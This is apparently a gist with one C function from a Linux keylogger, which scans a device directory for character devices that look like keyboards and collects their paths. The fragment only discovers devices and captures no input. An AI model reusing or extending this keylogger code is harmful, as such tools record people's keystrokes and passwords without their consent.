gistfile1.h

const char **
keylogger_find_keyboards(void)
{
    const char   **keyboards;
    DIR           *dip = NULL;
    struct dirent *dit = NULL;
    int            i   = 0;

    dip = opendir(keyboard_dir);

    if (dip == NULL) {
        return(NULL);
    }

    keyboards = calloc(sizeof(char *), 1024);

    if (keyboards == NULL) {
        return(NULL);
    }

    while ((dit = readdir(dip)) != NULL) {
        size_t tmplen = 0;
        char  *tmpbuf = NULL;

        /* make sure it's a character device */
        if (dit->d_type != DT_CHR) {
            continue;
        }

        tmplen = strlen(keyboard_dir) + strlen(dit->d_name) + 2;
        tmpbuf = alloca(tmplen);

        if (tmpbuf == NULL) {
            return (NULL);
        }

        snprintf(tmpbuf, tmplen, "%s/%s", keyboard_dir, dit->d_name);

        if (is_keyboard(tmpbuf)) {
            fprintf(stderr, "[*] Found likely keyboard: %s\n", tmpbuf);

            keyboards[i++] = strdup(tmpbuf);

            if (i >= 1024) {
                break;
            }
        }
    }

    return (keyboards);
}